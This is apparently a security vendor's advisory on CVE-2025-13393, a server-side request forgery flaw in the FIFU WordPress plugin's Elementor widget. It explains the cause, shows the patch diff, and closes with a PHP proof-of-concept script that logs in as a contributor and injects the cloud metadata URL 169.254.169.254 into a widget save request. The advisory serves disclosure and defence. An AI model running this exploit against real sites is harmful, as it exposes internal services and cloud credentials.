Atomic Edge analysis of CVE-2025-13393:
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the Featured Image from URL (FIFU) WordPress plugin, versions up to and including 5.3.1. The flaw exists in the plugin’s Elementor widget integration, allowing users with Contributor-level permissions or higher to induce the server to make arbitrary HTTP requests. The CVSS score of 4.3 reflects a medium-severity impact.
The root cause is insufficient validation of user-supplied URLs before passing them to the `getimagesize()` function. In the vulnerable code path, the `widget.php` file at `/featured-image-from-url/elementor/widgets/widget.php` processes the `fifu_input_url` parameter from Elementor widget settings. The original code only performed a basic `FILTER_VALIDATE_URL` check, which does not restrict internal or private IP addresses. This validated URL is later used by `fifu_dev_set_image()`, which internally calls `getimagesize()` on the provided URL, triggering an outbound HTTP request from the web server.
Exploitation requires an authenticated attacker with Contributor-level access and permissions to edit content using Elementor. The attacker crafts a POST request to save an Elementor page or template containing the FIFU widget. The request includes a malicious URL in the `fifu_input_url` parameter, targeting internal services like metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), database admin panels, or other internal HTTP resources. The server processes this request during the save operation, triggering the SSRF.
The patch, implemented in version 5.3.2, adds a call to `wp_http_validate_url()` after the initial URL validation. This WordPress core function validates the URL scheme and host, rejecting URLs pointing to localhost, private IP addresses (RFC 1918), and other internal network ranges. The code in `widget.php` now validates the `$image_url` variable with this function. If validation fails, the script skips the image setting logic, preventing the call to `getimagesize()` with a malicious internal URL.
Successful exploitation allows an attacker to probe and interact with internal HTTP services accessible from the web server. This can lead to sensitive information disclosure from cloud metadata services, internal APIs, or administrative interfaces. While the vulnerability does not grant direct remote code execution, it can be a critical pivot point for further attacks within the internal network, potentially leading to data exfiltration or service compromise.
--- a/featured-image-from-url/elementor/widgets/widget.php
+++ b/featured-image-from-url/elementor/widgets/widget.php
@@ -88,6 +88,15 @@
$image_url = $settings['fifu_input_url'];
if ($image_url && filter_var($image_url, FILTER_VALIDATE_URL) === false)
$image_url = '';
+
+ if ($image_url) {
+ $validated_url = wp_http_validate_url($image_url);
+ if ($validated_url === false) {
+ continue;
+ }
+ $image_url = $validated_url;
+ }
+
fifu_dev_set_image($post_id, $image_url);
$att_id = get_post_thumbnail_id($post_id);
if ($att_id && $image_url) {
--- a/featured-image-from-url/featured-image-from-url.php
+++ b/featured-image-from-url/featured-image-from-url.php
@@ -4,11 +4,11 @@
* Plugin Name: Featured Image from URL (FIFU)
* Plugin URI: https://fifu.app/
* Description: Use remote media as the featured image and beyond.
- * Version: 5.3.1
+ * Version: 5.3.2
* Author: fifu.app
* Author URI: https://fifu.app/
* WC requires at least: 4.0
- * WC tested up to: 10.3.4
+ * WC tested up to: 10.4.3
* Text Domain: featured-image-from-url
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.html
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13393 - Featured Image from URL (FIFU) <= 5.3.1 - Authenticated (Contributor+) Server-Side Request Forgery via 'fifu_input_url'
<?php
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$internal_target = 'http://169.254.169.254/latest/meta-data/';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute login and capture cookies
$login_response = curl_exec($ch);
// Check for a successful login by looking for dashboard redirect or logout link
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'logout') === false) {
die('Login failed. Check credentials.');
}
// Now, simulate saving an Elementor page with the malicious FIFU widget.
// This requires a valid nonce and post ID. The exact endpoint may vary.
// This PoC targets the admin-ajax.php endpoint used by Elementor for saving.
// The 'fifu_input_url' parameter is injected into the widget settings.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Craft a payload mimicking Elementor save data with the malicious URL.
// The 'editor_post_id' and 'nonce' must be obtained from a real session.
// This is a template; actual exploitation requires extracting these values.
$payload = array(
'action' => 'elementor_ajax',
'actions' => json_encode(array(
array(
'action' => 'save_builder',
'data' => array(
'editor_post_id' => 'REPLACE_WITH_POST_ID', // Must be a valid post ID the user can edit
'data' => array(
'elements' => array(
array(
'id' => 'some_element_id',
'elType' => 'widget',
'settings' => array(
'fifu_input_url' => $internal_target
),
'widgetType' => 'fifu'
)
)
)
)
)
)),
'_nonce' => 'REPLACE_WITH_VALID_NONCE' // Must be a valid Elementor nonce
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$ajax_response = curl_exec($ch);
curl_close($ch);
// The server will make a request to the internal target via getimagesize().
// To confirm, you would need to monitor server-side logs or use an out-of-band technique.
echo 'Payload sent. Check server logs for HTTP request to: ' . $internal_target . "n";
?>